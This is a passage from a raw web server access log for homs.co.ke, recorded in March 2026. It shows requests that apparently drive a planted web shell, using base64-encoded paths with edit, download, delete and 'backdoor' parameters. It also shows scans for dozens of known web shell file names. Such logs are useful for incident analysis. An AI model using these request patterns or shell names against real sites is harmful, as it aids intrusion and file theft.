like Gecko) Chrome/131.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.181.204 - - [07/Mar/2026:02:04:46 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2wxMG4= HTTP/1.1" 200 5193 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.180.70 - - [07/Mar/2026:02:04:46 -0700] "GET /?del=SplFixedArray.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvc3JjL1BIUDUy HTTP/1.1" 200 4527 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.182.50 - - [07/Mar/2026:02:04:46 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-recovery-mode-key-service.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.175.111 - - [07/Mar/2026:02:04:46 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-block-parser-frame.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.182.3 - - [07/Mar/2026:02:04:46 -0700] "GET /?act=download&file=class-wp-customize-panel.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.172.52 - - [07/Mar/2026:02:04:46 -0700] "GET /?act=download&file=feed-rdf.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.178.165 - - [07/Mar/2026:02:04:47 -0700] "GET /?del=02b&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltM2Q0YTli HTTP/1.1" 200 5180 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.178.240 - - [07/Mar/2026:02:04:48 -0700] "GET /?act=download&file=class-wp-http-requests-response.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?act=download&file=class-wp-http-requests-response.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.76 - - [07/Mar/2026:02:04:48 -0700] "GET /?act=edit&file=class-wp-locale.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 8438 "http://mail.homs.co.ke/?act=edit&file=class-wp-locale.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" mail.homs.co.ke 10.38.197.90 43.173.179.68 - - [07/Mar/2026:02:04:47 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-recovery-mode-key-service.php HTTP/1.1" 200 6004 "http://mail.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-recovery-mode-key-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.176.123 - - [07/Mar/2026:02:04:50 -0700] "GET /?act=download&file=version.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.181.15 - - [07/Mar/2026:02:04:50 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=post.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.169.157 - - [07/Mar/2026:02:04:50 -0700] "GET /?act=download&file=interactivity-api.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ludGVyYWN0aXZpdHktYXBp HTTP/1.1" 200 4237 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.144 - - [07/Mar/2026:02:04:50 -0700] "GET /?act=edit&file=atomlib.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 8352 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.46 - - [07/Mar/2026:02:04:50 -0700] "GET /?act=download&file=class-wp-duotone.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.120 - - [07/Mar/2026:02:04:51 -0700] "GET /?act=download&file=version.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?act=download&file=version.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.169.39 - - [07/Mar/2026:02:04:51 -0700] "GET /?act=download&file=class-wp-duotone.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp-duotone.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.25 - - [07/Mar/2026:02:04:51 -0700] "GET /?del=class-IXR-clientmulticall.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lYUg== HTTP/1.1" 200 5998 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.172 - - [07/Mar/2026:02:04:52 -0700] "GET /?act=download&file=Exception.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1RleHQ= HTTP/1.1" 200 4174 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.178.31 - - [07/Mar/2026:02:05:46 -0700] "GET /?action=backdoor&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2pzL3RpbnltY2U= HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.169.33 - - [07/Mar/2026:02:05:46 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbmFtZXNwYWNlZC9Db3Jl HTTP/1.1" 200 7459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.176.64 - - [07/Mar/2026:02:05:46 -0700] "GET /?act=download&file=class-feed.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.74 - - [07/Mar/2026:02:05:47 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2pzL3RpbnltY2U=&status=success HTTP/1.1" 200 6272 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.176.49 - - [07/Mar/2026:02:05:47 -0700] "GET /?act=download&file=class-wp-http-curl.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 182.42.110.255 - - [07/Mar/2026:02:22:05 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 52.167.144.193 - - [07/Mar/2026:02:30:38 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1NpbXBsZVBpZQ== HTTP/1.1" 200 4737 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 52.167.144.206 - - [07/Mar/2026:02:37:35 -0700] "GET /?n=5714879081440&mod=85a2fbd1&uri=itm.php%3Fid%3D191354-833%26name%3Dhiking+boots+ladies+nike+boots+sneakers HTTP/1.1" 409 83 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:18 -0700] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:20 -0700] "GET /vynypyss.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:20 -0700] "GET /rawrpw.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:21 -0700] "GET /asd67.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:22 -0700] "GET /makeasmtp.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:23 -0700] "GET /zbqxoidn.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:24 -0700] "GET /hplsmbly.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:28 -0700] "GET /alfanew.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:34 -0700] "GET /Alex-Cross.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:37 -0700] "GET /evatusmk.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:38 -0700] "GET /file9.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:40 -0700] "GET /wp-session.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:40 -0700] "GET /xl2023.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:41 -0700] "GET /wp-conflg.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:42 -0700] "GET /file18.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:43 -0700] "GET /bbK8Qd6nhc.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:44 -0700] "GET /BIBIL.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:44 -0700] "GET /uchkkzmk.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:45 -0700] "GET /wp-login.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:47 -0700] "GET /kbicjghd.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:51 -0700] "GET /wso.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:53 -0700] "GET /izusdinh.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:55 -0700] "GET /randkeyword.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:57 -0700] "GET /pgxfoqte.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:59 -0700] "GET /2TlRXt7OgIM.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:00:59 -0700] "GET /fopen.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:01 -0700] "GET /nokswnuh.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:02 -0700] "GET /41Wppt5xB9.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:03 -0700] "GET /uHn8BDkldxz.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:03 -0700] "GET /ae.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:03 -0700] "GET /config.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:05 -0700] "GET /nrmvjhdu.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:09 -0700] "GET /edit-tags.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:09 -0700] "GET /h2WUebaOkZG.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:09 -0700] "GET /alumni_reg.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:10 -0700] "GET /lrxqxgbi.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:12 -0700] "GET /phUploader.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:14 -0700] "GET /file6.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:14 -0700] "GET /qkvbqnne.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:16 -0700] "GET /file.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:16 -0700] "GET /yjlqpamf.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:18 -0700] "GET /default.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:20 -0700] "GET /php-info.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:21 -0700] "GET /ans.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:21 -0700] "GET /xltavrat.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:21 -0700] "GET /3YuwLn4aJ9T.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:22 -0700] "GET /aAZUleCFR6G.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 4.204.188.52 - - [07/Mar/2026:03:01:22 -0700] "GET /nam.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 40.77.167.63 - - [07/Mar/2026:03:04:12 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1RleHQ= HTTP/1.1" 200 4734 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 43.173.177.220 - - [07/Mar/2026:03:05:32 -0700] "GET /?act=download&file=class-wp-locale.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.178.62 - - [07/Mar/2026:03:05:32 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=block-patterns.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.206 - - [07/Mar/2026:03:05:33 -0700] "GET /?act=download&file=query-offset-posts.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z HTTP/1.1" 200 4219 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.229 - - [07/Mar/2026:03:05:33 -0700] "GET /?act=download&file=class-wp-recovery-mode.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.169.178 - - [07/Mar/2026:03:05:33 -0700] "GET /?act=edit&file=class-wp-admin-bar.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 10966 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.181 - - [07/Mar/2026:03:05:33 -0700] "GET /?act=download&file=script-loader-packages.min.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Fzc2V0cw== HTTP/1.1" 200 4185 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.184 - - [07/Mar/2026:03:05:33 -0700] "GET /?act=download&file=class-wp-locale.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp-locale.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.110 - - [07/Mar/2026:03:13:58 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" homs.co.ke 10.38.197.90 43.173.179.138 - - [07/Mar/2026:03:13:59 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.174.157 - - [07/Mar/2026:03:16:07 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" www.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:33 -0700] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:34 -0700] "GET /gptsh.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:34 -0700] "GET /albin.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:34 -0700] "GET /yos.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:35 -0700] "GET /utky.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:35 -0700] "GET /settings.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:36 -0700] "GET /fsgdjkl.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:36 -0700] "GET /uuu.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:37 -0700] "GET /x12.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:37 -0700] "GET /by.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:37 -0700] "GET /sf.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:38 -0700] "GET /asw.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:39 -0700] "GET /eee.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:39 -0700] "GET /lp6.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:39 -0700] "GET /akses.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:40 -0700] "GET /no1.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:40 -0700] "GET /teee.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:41 -0700] "GET /elabel.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:41 -0700] "GET /bafFz.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:41 -0700] "GET /rere.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:42 -0700] "GET /jocundly.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:42 -0700] "GET /wo.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:42 -0700] "GET /h2h.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:43 -0700] "GET /rithin.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:43 -0700] "GET /kk.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:44 -0700] "GET /path.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:44 -0700] "GET /cs.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:44 -0700] "GET /w2025.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:45 -0700] "GET /foxr.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:45 -0700] "GET /swallowable.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:45 -0700] "GET /claw.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:46 -0700] "GET /fvvff.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:46 -0700] "GET /a2.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:47 -0700] "GET /sty.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:47 -0700] "GET /xxxx.php HTTP/1.1" 409 83 "-" 